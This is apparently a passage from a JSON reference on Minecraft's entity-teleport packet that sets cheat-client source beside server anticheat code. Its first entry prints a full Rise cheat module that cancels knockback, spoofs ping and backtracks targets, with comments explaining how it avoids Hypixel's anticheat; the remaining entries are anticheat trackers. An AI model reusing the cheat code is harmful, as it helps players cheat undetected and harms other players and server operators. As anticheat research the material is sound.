      "purpose": "Include the teleport in the backtrack packet set and use it to re-anchor the tracked target's realPosition.",
      "how_it_works": "isSpoof2Packet returns true for S18PacketEntityTeleport, so it is cancelled and queued with the S14 subclasses and S19 head look while the backtrack is active, and replayed through PacketUtil.receive on the flush conditions. Separately, an S18 for the target re-anchors realPosition to the absolute coordinates, keeping the distance gating (4.5/2.5 block thresholds) honest across teleports.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/WatchdogVelocity.java =====\npackage com.alan.clients.module.impl.combat.velocity;\n\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.player.TargetComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.Priorities;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.*;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.event.impl.render.Render3DEvent;\nimport com.alan.clients.module.impl.combat.Criticals;\nimport com.alan.clients.module.impl.combat.KillAura;\nimport com.alan.clients.module.impl.combat.Velocity;\nimport com.alan.clients.module.impl.movement.Flight;\nimport com.alan.clients.module.impl.movement.LongJump;\nimport com.alan.clients.module.impl.movement.Speed;\nimport com.alan.clients.module.impl.player.Scaffold;\nimport com.alan.clients.module.impl.render.chat.Chat;\nimport com.alan.clients.util.chat.ChatUtil;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.util.player.PlayerUtil;\nimport com.alan.clients.util.render.ColorUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.util.vector.Vector2d;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.init.Blocks;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C0BPacketEntityAction;\nimport net.minecraft.network.play.server.*;\nimport net.minecraft.util.Vec3;\nimport org.lwjgl.opengl.GL11;\n\nimport java.awt.*;\nimport java.util.ArrayList;\nimport java.util.Comparator;\nimport java.util.List;\nimport java.util.concurrent.ConcurrentLinkedQueue;\n\n\n\npublic final class WatchdogVelocity extends Mode<Velocity> {\n\n    public WatchdogVelocity(String name, Velocity parent) {\n        super(name, parent);\n    }\n    private long active2StartTime = -1; // Tracks when active2 was set to true\n    boolean active2 = false;\n    boolean send = false;\n    public final BooleanValue stack = new BooleanValue(\"Stack\", this, true);\n\n    public final BooleanValue spoof = new BooleanValue(\"Ping Spoof\", this, true);\n\n    public final BooleanValue spoof2 = new BooleanValue(\"Watchdog Backtrack\", this, false);\n\n    public final BooleanValue boost = new BooleanValue(\"Damage Boost (not for hypixel)\", this, false);\n\n    private final NumberValue speed = new NumberValue(\"Damage Boost Speed\", this, 1, 1, 10, .01);\n    private boolean active, receiving, buffer;\n    private Vec3 realPosition = new Vec3(0, 0, 0);\n    public Entity targetEntity;\n    private int amount;\n    private final ArrayList<Packet<?>> packets = new ArrayList<>();\n    private boolean isSpoof2Packet(Packet<?> packet) {\n        return packet instanceof S14PacketEntity.S16PacketEntityLook ||\n                packet instanceof S14PacketEntity.S15PacketEntityRelMove ||\n                packet instanceof S14PacketEntity.S17PacketEntityLookMove ||\n                packet instanceof S19PacketEntityHeadLook ||\n                packet instanceof S18PacketEntityTeleport;\n    }\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceive = event -> {\n\n        if (receiving || getModule(LongJump.class).isEnabled() && mc.thePlayer.offGroundTicks<29 || getModule(Flight.class).isEnabled()) return;\n\n        switch (event.getPacket()) {\n            case S12PacketEntityVelocity velocity -> {\n\n                if (velocity.getEntityID() == mc.thePlayer.getEntityId()) {\n                    if (stack.getValue() && amount < 1 && (!mc.thePlayer.onGround) && Math.random() < 0.73 && !(mc.thePlayer.offGroundTicks > 13) || mc.thePlayer.inWater  || (getModule(Scaffold.class).isEnabled() )) {\n                        amount++;\n                        buffer = true;\n                        //   ChatUtil.display(\"stack\");\n                        event.setCancelled();\n                        buffer = false;\n\n                    }\n                    if (!event.isCancelled() && (!getModule(Scaffold.class).isEnabled() ) && !(mc.thePlayer.offGroundTicks > 11) && ((!mc.thePlayer.onGround ) || (mc.thePlayer.onGround && !MoveUtil.isMoving())) &&  !(velocity.getMotionY()/800D < .08 && !(getModule(Speed.class).isEnabled() || mc.thePlayer.inWater || !mc.thePlayer.isInLava()) )) {\n                        amount = 0;\n                        active = true;\n                        //  ChatUtil.display(\"Set Active\");\n                        packets.add(velocity);\n\n                        event.setCancelled();\n\n                    } else if (!event.isCancelled() ) {\n                        if((!getModule(Scaffold.class).isEnabled() )){\n                            mc.thePlayer.motionY = velocity.getMotionY() / 8000.0D;\n                        }\n\n                        //      ChatUtil.display(\"normal\");\n                        event.setCancelled();\n                    }\n\n\n                }\n\n            }\n\n            case S32PacketConfirmTransaction transaction -> {\n                if (active && spoof.getValue()) {\n                    packets.add(transaction);\n                    event.setCancelled();\n                    // PingSpoofComponent.spoof(50, true, false, false, false, false, false);\n                }\n\n            }\n\n            case S00PacketKeepAlive keepAlive -> {\n                if (active && spoof.getValue()) {\n                    //   packets.add(keepAlive);\n                        event.setCancelled();\n                }\n            }\n\n\n            case S14PacketEntity.S16PacketEntityLook s16PacketEntityLook -> {\n                if ((active2 || active)  && spoof2.getValue() && !send) {\n                    packets.add(s16PacketEntityLook);\n                    event.setCancelled();\n                }\n            }\n            case S14PacketEntity.S15PacketEntityRelMove s15PacketEntityRelMove -> {\n                if ((active2 || active)  && spoof2.getValue()  && !send) {\n                    packets.add(s15PacketEntityRelMove);\n                    event.setCancelled();\n                }\n            }\n            case S14PacketEntity.S17PacketEntityLookMove s17PacketEntityLookMove -> {\n                if ((active2 || active)  && spoof2.getValue()  && !send) {\n                    packets.add(s17PacketEntityLookMove);\n                    event.setCancelled();\n                }\n            }\n\n\n\n            case S19PacketEntityHeadLook s19PacketEntityHeadLook -> {\n                if ((active2 || active)  && spoof2.getValue()  && !send) {\n                    packets.add(s19PacketEntityHeadLook);\n                    event.setCancelled();\n                }\n            }\n\n\n\n            default -> {\n            }\n\n        }\n        List<EntityLivingBase> targets = TargetComponent.getTargets(12);\n        targets.sort(Comparator.comparingDouble(entity -> entity.hurtTime));\n        if (targets.isEmpty()) {\n            targetEntity = null;\n            // Add logic here to reset or flush your spoof2 states.\n            // For example:\n            if (spoof2.getValue()) {\n                receiving = true;\n                packets.stream().filter(this::isSpoof2Packet).forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n                active2 = false;\n                send = false;\n            }\n            return;\n        }\n        Entity entity = targets.get(0);\n\n\n\n\n        if (spoof2.getValue()) {\n\n\n\n\n\n\n\n\n            if (entity != targetEntity) {\n                targetEntity = entity;\n\n                realPosition.xCoord = entity.posX;\n                realPosition.yCoord = entity.posY;\n                realPosition.zCoord = entity.posZ;\n            }\n\n\n\n\n\n            Vec3 playerEyesPos = mc.thePlayer.getPositionEyes(1.0F);\n            Vec3 targetEyesPos = new Vec3(realPosition.xCoord, realPosition.yCoord, realPosition.zCoord);\n            double distance = playerEyesPos.distanceTo(targetEyesPos);\n\n            if ((distance > 4.5) && active || mc.thePlayer.offGroundTicks>9 && active) {\n                send = true;\n            } else if(active){\n                send = false;\n            }\n//ChatUtil.display(distance);\n            active2 = distance < 4.5;\nif( mc.thePlayer.isSwingInProgress && distance>3.1&& distance<4.5 && getModule(KillAura.class).isEnabled()){\n  // ChatUtil.display(\"reach:\" + distance);\n}\n\n\n\n\n            if (active2) {\n                // Check if this is the first frame where active2 is true\n                if (active2StartTime == -1) {\n                    active2StartTime = System.currentTimeMillis(); // Record the starting time\n                }\n\n                // Check if 200ms has passed\n                if (System.currentTimeMillis() - active2StartTime >= Math.round((Math.random()*150))+100) {\n                    receiving = true;\n                    packets.stream()\n                            .filter(this::isSpoof2Packet)\n                            .forEach(PacketUtil::receive);\n                    packets.clear();\n                    receiving = false;\n\n               //     ChatUtil.display(mc.thePlayer.ticksExisted);\n\n                    // Reset active2 and timer\n                    active2 = false;\n                    active2StartTime = -1;\n                }\n            } else {\n                // Reset the timer if active2 is false\n                active2StartTime = -1;\n            }\n\n            if (send && active) {\n               // ChatUtil.display(send);\n                active2 = false; // If active2 is set to false, reset the timer\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n\n            if(mc.thePlayer.ticksExisted<100){\n                active2 = false; // If active2 is set to false, reset the timer\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n\n            if (mc.thePlayer.hurtTime == 9) {\n               // ChatUtil.display(send);\n                active2 = false;\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n            if ((distance < 2.5)) {\n                active2 = false;\n                //  ChatUtil.display(send);\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n\n            if ((distance > 4.5)) {\n                active2 = false;\n              //  ChatUtil.display(send);\n                receiving = true;\n                packets.stream()\n                        .filter(this::isSpoof2Packet)\n                        .forEach(PacketUtil::receive);\n                packets.clear();\n                receiving = false;\n            }\n            final Packet<?> packet = event.getPacket();\n            if (packet instanceof S14PacketEntity) {\n                S14PacketEntity s14PacketEntity = ((S14PacketEntity) packet);\n\n                if (s14PacketEntity.entityId == targetEntity.getEntityId()) {\n                    realPosition.xCoord += s14PacketEntity.getPosX() / 32D;\n                    realPosition.yCoord += s14PacketEntity.getPosY() / 32D;\n                    realPosition.zCoord += s14PacketEntity.getPosZ() / 32D;\n                }\n            } else if (packet instanceof S18PacketEntityTeleport) {\n                S18PacketEntityTeleport s18PacketEntityTeleport = ((S18PacketEntityTeleport) packet);\n\n                if (s18PacketEntityTeleport.getEntityId() == targetEntity.getEntityId()) {\n                    realPosition = new Vec3(s18PacketEntityTeleport.getX() / 32D, s18PacketEntityTeleport.getY() / 32D, s18PacketEntityTeleport.getZ() / 32D);\n                }\n            }\n        }\n\n\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<JumpEvent> onJump = event -> {\n        if (mc.thePlayer.onGround && active) {\n            active = false;\n            //  ChatUtil.display(\"Set Active\");\n            receiving = true;\n            send = false;\n            //  MoveUtil.strafe(MovdeUtil.getbaseMoveSpeed() + Math.random() / 10);\n            //   mc.thePlayer.jump();\n            Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            packets.forEach(PacketUtil::receive);\n            // ChatUtil.display(\"jump\");\n            packets.clear();\n\n            if (!boost.getValue()) {\n                mc.thePlayer.motionX = motion.getX();\n                mc.thePlayer.motionZ = motion.getY();\n            } else {\n                MoveUtil.strafe();\n                mc.thePlayer.motionX *= speed.getValue().doubleValue();\n                mc.thePlayer.motionZ *= speed.getValue().doubleValue();\n\n            }\n\n            receiving = false;\n        }\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<PreUpdateEvent> onPreUpdate = event -> {\n        if(active2 && !active && spoof2.getValue()){\n            PingSpoofComponent.spoof(50, true, false, false, false, true, false);\n        }\n    };\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<StrafeEvent> onStrafe = event -> {\n\n\n\n        if (mc.thePlayer.onGround && active && !mc.thePlayer.isJumping) {\n            active = false;\n\n            receiving = true;\n            send = false;\n            //   MoveUtil.strafe(MoveUtil.WALK_SPEED);\n            Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            double motiony = mc.thePlayer.motionY;\n         //   PingSpoofComponent.dispatch();\n            packets.forEach(PacketUtil::receive);\n            // ChatUtil.display(\"jump\");\n            packets.clear();\n            mc.thePlayer.jump();\n            //  PingSpoofComponent.dispatch();\n            mc.thePlayer.motionX = motion.getX();\n            mc.thePlayer.motionZ = motion.getY();\n\n            //  active = false;\n            receiving = false;\n            // receiving = true;\n            //   Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            // packets.forEach(PacketUtil::receive);\n            //  ChatUtil.display(\"normal\");\n            // packets.clear();\n            //  mc.thePlayer.motionX = motion.getX();\n            //  mc.thePlayer.motionZ = motion.getY();\n            //   receiving = false;\n        }\n\n    };\n\n\n    @EventLink(value = Priorities.VERY_HIGH)\n    public final Listener<PostStrafeEvent> onPostStrafe = event -> {\n\n        if (mc.thePlayer.offGroundTicks > 12 && active) {\n            active = false;\n\n            receiving = true;\n            //  MoveUtil.strafe(MoveUtil.getbaseMoveSpeed() + Math.random() / 10);\n            //   mc.thePlayer.jump();\n            Vector2d motion = new Vector2d(mc.thePlayer.motionX, mc.thePlayer.motionZ);\n            double motiony = mc.thePlayer.motionY;\n         //   PingSpoofComponent.dispatch();\n            packets.forEach(PacketUtil::receive);\n            // ChatUtil.display(\"jump\");\n            packets.clear();\n            //  PingSpoofComponent.dispatch();\n            mc.thePlayer.motionX = motion.getX();\n            mc.thePlayer.motionZ = motion.getY();\n            //  mc.thePlayer.motionY = motiony;\n            receiving = false;\n        }\n    };\n    @EventLink()\n    public final Listener<Render3DEvent> onRender3D = event -> {\n        if (targetEntity == null || !spoof2.getValue() || (!active2 && !active)) {\n            return;\n        }\n\n\n        GlStateManager.pushMatrix();\n        GlStateManager.pushAttrib();\n        GlStateManager.enableBlend();\n        GlStateManager.disableTexture2D();\n        GlStateManager.disableLighting();\n        GL11.glDepthMask(false);\n\n        double expand = -0.14;\n        RenderUtil.color(Color.red, 45);\n\n        RenderUtil.drawBoundingBox(mc.thePlayer.getEntityBoundingBox()\n                .offset(-mc.thePlayer.posX, -mc.thePlayer.posY, -mc.thePlayer.posZ)\n                .offset(realPosition.xCoord, realPosition.yCoord, realPosition.zCoord)\n                .expand(expand, -.3, expand));\n\n\n        GlStateManager.enableTexture2D();\n        GlStateManager.enableLighting();\n        GlStateManager.disableBlend();\n        GL11.glDepthMask(true);\n        GlStateManager.popAttrib();\n        GlStateManager.popMatrix();\n        GlStateManager.resetColor();\n    };\n\n}\n\n// NOTE (AI): The Watchdog Backtrack path cancels the S14 subclasses plus S19PacketEntityHeadLook and\n// NOTE (AI): S18PacketEntityTeleport for the nearest target and replays them through PacketUtil.receive\n// NOTE (AI): after 100-250 ms or when the distance to the tracked realPosition crosses the 4.5/2.5\n// NOTE (AI): thresholds. Buffering clientbound packets is invisible to the server, which is why the\n// NOTE (AI): module can hold the target's movement state without raising flags.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/velocity/WatchdogVelocity.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Holding a teleport client-side only delays the visual snap; the server state is unaffected. Flushing on hurtTime == 9 keeps the replay aligned with the player's damage timeline.",
      "variations": "Not present in Rise 6.1.30's WatchdogVelocity corpus hit."
     }
    ],
    "general_hooks": "PacketReceiveEvent across all consumers; the Rise 5.99 anticheat consumes S18 inside PlayerData.handle.",
    "client_variations": "Rise 6.x uses getX()/getY()/getZ() double accessors and divides by 32.0; Rise 5.99 and Sigma use the MCP-style func_149449_d/func_149451_c accessors; Tenacity reads getX() directly on the fixed-point ints (no /32), which is fine for the magnitude check. Only Rise 5.99 tracks ticksSinceLastTeleport as state.",
    "related": [
     "S14PacketEntity",
     "S08PacketPlayerPosLook",
     "S19PacketEntityHeadLook",
     "S12PacketEntityVelocity"
    ],
    "anticheat": {
     "overview": "S18 is the clientbound absolute-position correction for one entity, and server anticheats consume it on the send side as the reset point of entity state. Trackers re-anchor their replicated entity positions on it (Hydro, AntiHaxerman), teleport processors re-sync the player's own movement state when the teleport targets the checked player (Artemis, Frequency, BetterAnticheat), and the same packet is what makes reach verification and phase checks trust the server's entity locations. Because the packet is clientbound, no anticheat validates its contents; they only timestamp and consume it.",
     "checks": [
      {
       "name": "EntityTracker (teleport re-anchoring)",
       "found_in": [
        "Incognitolol-Hydro"
       ],
       "purpose": "Re-anchor the replicated position of a tracked entity when the server sends its absolute teleport, so reach checks keep measuring against the corrected location.",
       "how_it_works": "handleEntityTeleport wraps the ENTITY_TELEPORT packet in WrapperPlayServerEntityTeleport, looks up the entity, and applies handleTeleport(x, y, z) inside the transaction tracker's confirm-pre window, with confirm-post advancing all entity queues. The same tracker handles spawn, relative moves and destroy packets, so the entity map mirrors the full server-side entity stream.",
       "detects": "Entity position desync after teleports; provides the corrected entity location used by Hydro's reach and combat checks.",
       "detailed_code": "// ===== FILE: Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/EntityTracker.java =====\npackage integral.studios.hydro.model.tracker.impl;\n\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.*;\nimport integral.studios.hydro.model.PlayerData;\nimport integral.studios.hydro.model.tracker.Tracker;\nimport integral.studios.hydro.util.player.tracker.entity.TrackedEntity;\nimport integral.studios.hydro.util.packet.PacketUtil;\nimport lombok.Getter;\n\nimport java.util.Map;\nimport java.util.concurrent.ConcurrentHashMap;\n\n\n@Getter\npublic class EntityTracker extends Tracker {\n    // Thread-safe entity storage\n    private final Map<Integer, TrackedEntity> entityMap = new ConcurrentHashMap<>();\n\n    public EntityTracker(PlayerData playerData) {\n        super(playerData);\n    }\n\n    @Override\n    public void registerOutgoingPreHandler(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.SPAWN_LIVING_ENTITY) {\n            handleSpawnLivingEntity(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.SPAWN_PLAYER) {\n            handleSpawnPlayer(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE) {\n            handleEntityRelativeMove(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_RELATIVE_MOVE_AND_ROTATION) {\n            handleEntityRelativeMoveAndRotation(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.ENTITY_TELEPORT) {\n            handleEntityTeleport(event);\n        } else if (event.getPacketType() == PacketType.Play.Server.DESTROY_ENTITIES) {\n            handleDestroyEntities(event);\n        }\n    }\n\n    @Override\n    public void registerIncomingPostHandler(PacketReceiveEvent event) {\n        if (PacketUtil.isFlying(event.getPacketType())) {\n            handleFlyingPacket();\n        }\n    }\n\n    private void handleSpawnLivingEntity(PacketSendEvent event) {\n        WrapperPlayServerSpawnLivingEntity wrapper = new WrapperPlayServerSpawnLivingEntity(event);\n        Vector3d position = wrapper.getPosition();\n        int entityId = wrapper.getEntityId();\n\n        TrackedEntity entity = new TrackedEntity(entityId, position.x, position.y, position.z);\n        entityMap.put(entityId, entity);\n    }\n\n    private void handleSpawnPlayer(PacketSendEvent event) {\n        WrapperPlayServerSpawnPlayer wrapper = new WrapperPlayServerSpawnPlayer(event);\n        Vector3d position = wrapper.getPosition();\n        int entityId = wrapper.getEntityId();\n\n        TrackedEntity entity = new TrackedEntity(entityId, position.x, position.y, position.z);\n        entityMap.put(entityId, entity);\n    }\n\n    private void handleEntityRelativeMove(PacketSendEvent event) {\n        WrapperPlayServerEntityRelativeMove wrapper = new WrapperPlayServerEntityRelativeMove(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleMovement(wrapper.getDeltaX(), wrapper.getDeltaY(), wrapper.getDeltaZ());\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleEntityRelativeMoveAndRotation(PacketSendEvent event) {\n        WrapperPlayServerEntityRelativeMoveAndRotation wrapper = new WrapperPlayServerEntityRelativeMoveAndRotation(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleMovement(wrapper.getDeltaX(), wrapper.getDeltaY(), wrapper.getDeltaZ());\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleEntityTeleport(PacketSendEvent event) {\n        WrapperPlayServerEntityTeleport wrapper = new WrapperPlayServerEntityTeleport(event);\n\n        TrackedEntity entity = entityMap.get(wrapper.getEntityId());\n        if (entity == null) {\n            return;\n        }\n\n        Vector3d position = wrapper.getPosition();\n\n        playerData.getTransactionTracker().confirmPre(() -> {\n            entity.handleTeleport(position.x, position.y, position.z);\n        });\n\n        playerData.getTransactionTracker().confirmPost(this::updateAllEntitiesPostTransaction);\n    }\n\n    private void handleDestroyEntities(PacketSendEvent event) {\n        WrapperPlayServerDestroyEntities wrapper = new WrapperPlayServerDestroyEntities(event);\n\n        for (int entityId : wrapper.getEntityIds()) {\n            entityMap.remove(entityId);\n        }\n    }\n\n    private void handleFlyingPacket() {\n        entityMap.values().forEach(TrackedEntity::handlePostFlying);\n    }\n\n    private void updateAllEntitiesPostTransaction() {\n        entityMap.values().forEach(TrackedEntity::handlePostTransaction);\n    }\n\n    public TrackedEntity get(int entityId) {\n        return entityMap.get(entityId);\n    }\n\n    public boolean isTracking(int entityId) {\n        return entityMap.containsKey(entityId);\n    }\n\n    public int getTrackedEntityCount() {\n        return entityMap.size();\n    }\n\n\n    public TrackedEntity removeEntity(int entityId) {\n        return entityMap.remove(entityId);\n    }\n\n\n    public void clearEntities() {\n        entityMap.clear();\n    }\n\n\n    public double getDistanceToEntity(int entityId) {\n        TrackedEntity entity = entityMap.get(entityId);\n        if (entity == null) {\n            return -1;\n        }\n\n        double dx = entity.getX() - playerData.getPositionTracker().getX();\n        double dy = entity.getY() - playerData.getPositionTracker().getY();\n        double dz = entity.getZ() - playerData.getPositionTracker().getZ();\n\n        return Math.sqrt(dx * dx + dy * dy + dz * dz);\n    }\n\n    public TrackedEntity getClosestEntity() {\n        TrackedEntity closest = null;\n        double minDistance = Double.MAX_VALUE;\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            TrackedEntity entity = entry.getValue();\n            double distance = getDistanceToEntity(entry.getKey());\n\n            if (distance >= 0 && distance < minDistance) {\n                minDistance = distance;\n                closest = entity;\n            }\n        }\n\n        return closest;\n    }\n\n\n    public Map<Integer, TrackedEntity> getEntitiesWithinDistance(double maxDistance) {\n        Map<Integer, TrackedEntity> nearbyEntities = new ConcurrentHashMap<>();\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            double distance = getDistanceToEntity(entry.getKey());\n            if (distance >= 0 && distance <= maxDistance) {\n                nearbyEntities.put(entry.getKey(), entry.getValue());\n            }\n        }\n\n        return nearbyEntities;\n    }\n\n    public int getEntityId(TrackedEntity entity) {\n        if (entity == null) return -1;\n\n        for (Map.Entry<Integer, TrackedEntity> entry : entityMap.entrySet()) {\n            if (entry.getValue() == entity) {\n                return entry.getKey();\n            }\n        }\n\n        return -1;\n    }\n}\n// NOTE (AI): The transaction-confirm wrapping is what distinguishes these trackers from naive packet handlers: the entity position advances only when the player's own connection state confirms the tick.",
       "code_source": "Incognitolol-Hydro, src/main/java/integral/studios/hydro/model/tracker/impl/EntityTracker.java",
       "variations": "AntiHaxerman's EntityTracker sets the absolute coordinates the same way but keeps the vanilla epsilon check (0.03125 for x/z, 0.015625 for y) so micro-teleports keep the old position. Kauri's EntityTrackHandler interpolates the new absolute location with increment 3 instead of snapping."
      },
      {
       "name": "TeleportPreProcessor (self entity teleport)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Treat an S18 targeting the checked player as a movement reset: rebuild the player's movement, location and rotation from the teleport coordinates on transaction confirm.",
       "how_it_works": "The processor matches GPacketPlayServerEntityTeleport, ignores it unless the entity id equals the player's own id, then schedules a transaction-confirmed action. The pre phase stores the last entity teleport, copies the current velocity into lastVelocity, rebuilds PlayerMovement and PlayerRotation from the teleport values, and sets processedEntityTeleport true; the post phase clears the flag.",
       "detects": "Position desync caused by the server teleporting the player; the processedEntityTeleport flag lets downstream checks skip the teleport tick.",
       "detailed_code": "// ===== FILE: artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/teleport/TeleportPreProcessor.java =====\npackage ac.artemis.core.v4.processor.teleport;\n\nimport ac.artemis.core.v4.data.holders.ConnectionHolder;\nimport ac.artemis.core.v4.processor.AbstractHandler;\nimport ac.artemis.core.v4.data.PlayerData;\nimport ac.artemis.core.v4.utils.function.PacketAction;\nimport cc.ghast.packet.PacketAPI;\nimport ac.artemis.packet.spigot.wrappers.GPacket;\nimport ac.artemis.core.v4.utils.position.PlayerMovement;\nimport ac.artemis.core.v4.utils.position.PlayerRotation;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerEntityTeleport;\nimport cc.ghast.packet.wrapper.packet.play.server.GPacketPlayServerPosition;\n\nimport java.util.Map;\nimport java.util.Random;\nimport java.util.WeakHashMap;\n\npublic class TeleportPreProcessor extends AbstractHandler {\n    public TeleportPreProcessor(PlayerData data) {\n        super(\"Teleport [0x01]\", data);\n    }\n\n    @Override\n    public void handle(final GPacket packet) {\n        if (packet instanceof GPacketPlayServerPosition) {\n            final GPacketPlayServerPosition pos = (GPacketPlayServerPosition) packet;\n\n\n        }\n        else if (packet instanceof GPacketPlayServerEntityTeleport) {\n            final GPacketPlayServerEntityTeleport pos = (GPacketPlayServerEntityTeleport) packet;\n\n            if (pos.getEntityId() != data.getPlayer().getEntityId()) {\n                return;\n            }\n\n            data.connection.confirmFunction(ConnectionHolder.ConfirmationType.TRANSACTION, new PacketAction() {\n                @Override\n                public void pre() {\n                    data.connection.setLastEntityTeleport(pos);\n                    final PlayerMovement movement = new PlayerMovement(\n                            data.getPlayer().getWorld(),\n                            pos.getValueX(),\n                            pos.getValueY(),\n                            pos.getValueZ(),\n                            pos.getValueYaw(),\n                            pos.getValuePitch(),\n                            pos.getTimestamp()\n                    );\n\n                    if (data.movement.getVelocity() != null)\n                        data.movement.setLastVelocity(data.movement.getVelocity());\n\n                    data.movement.setMovement(movement.setWorld(data.getPlayer().getWorld()));\n                    data.movement.setLocation(movement.setWorld(data.getPlayer().getWorld()));\n\n                    data.movement.setRotation(new PlayerRotation(data.getPlayer(),\n                            movement.getYaw(),\n                            movement.getPitch(),\n                            movement.getTimestamp())\n                    );\n\n                    data.movement.setProcessedEntityTeleport(true);\n                }\n\n                @Override\n                public void post() {\n                    data.movement.setProcessedEntityTeleport(false);\n                }\n            });\n        }\n    }\n}\n// NOTE (AI): The player-position variants (GPacketPlayServerPosition) and the entity-teleport variant share the same processor; only the S18 branch is shown in context here.",
       "code_source": "artemisac-artemis-minecraft-anticheat, ac.artemis.core/src/main/java/ac/artemis/core/v4/processor/teleport/TeleportPreProcessor.java",
       "variations": "Frequency's OutgoingPacketProcessor calls the action manager's onTeleport() for a self S18 without rebuilding movement state; BetterAnticheat's TeleportTracker queues the teleport and matches it against the player's next flying packet, flagging missed teleports."
      },
      {
       "name": "OutgoingPacketProcessor (self teleport action)",
       "found_in": [
        "ElevatedDev-Frequency",
        "MinecraftUserHAN1110-FrequencyPlus",
        "splatboydev-Degrade"
       ],
       "purpose": "Detect when the server teleports the checked player and reset the action manager state so movement checks exempt the teleport tick.",
       "how_it_works": "On PacketPlayOutEntityTeleport the processor wraps the packet, and when the entity id matches the player it calls playerData.getActionManager().onTeleport(). The same processor feeds S12 velocity into the velocity manager for the self entity, and treats PacketPlayOutPosition as a teleport too.",
       "detects": "Nothing by itself; it feeds the action manager that movement checks consult to exempt legitimate teleports.",
       "detailed_code": "// ===== FILE: ElevatedDev-Frequency, src/main/java/xyz/elevated/frequency/processor/impl/OutgoingPacketProcessor.java =====\npackage xyz.elevated.frequency.processor.impl;\n\nimport net.minecraft.server.v1_8_R3.*;\nimport xyz.elevated.frequency.data.PlayerData;\nimport xyz.elevated.frequency.processor.type.Processor;\nimport xyz.elevated.frequency.wrapper.impl.server.WrappedPlayOutKeepAlive;\nimport xyz.elevated.frequency.wrapper.impl.server.WrappedPlayOutEntityVelocity;\nimport xyz.elevated.frequency.wrapper.impl.server.WrappedPlayOutTeleport;\nimport xyz.elevated.frequency.wrapper.impl.server.WrappedPlayOutTransaction;\n\npublic final class OutgoingPacketProcessor implements Processor<Packet<PacketListenerPlayOut>> {\n\n    @Override\n    public void process(final PlayerData playerData, final Packet<PacketListenerPlayOut> packet) {\n        if (packet instanceof PacketPlayOutEntityVelocity) {\n            final WrappedPlayOutEntityVelocity wrapper = new WrappedPlayOutEntityVelocity(packet);\n\n            final int packetEntityId = wrapper.getEntityId();\n            final int playerEntityId = playerData.getBukkitPlayer().getEntityId();\n\n            if (packetEntityId == playerEntityId) {\n                final double velocityX = wrapper.getX();\n                final double velocityY = wrapper.getY();\n                final double velocityZ = wrapper.getZ();\n\n                playerData.getVelocityManager().addVelocityEntry(velocityX, velocityY, velocityZ);\n            }\n        } else if (packet instanceof PacketPlayOutEntityTeleport) {\n            final WrappedPlayOutTeleport wrapper = new WrappedPlayOutTeleport(packet);\n\n            final int entityId = wrapper.getEntityId();\n            final int playerId = 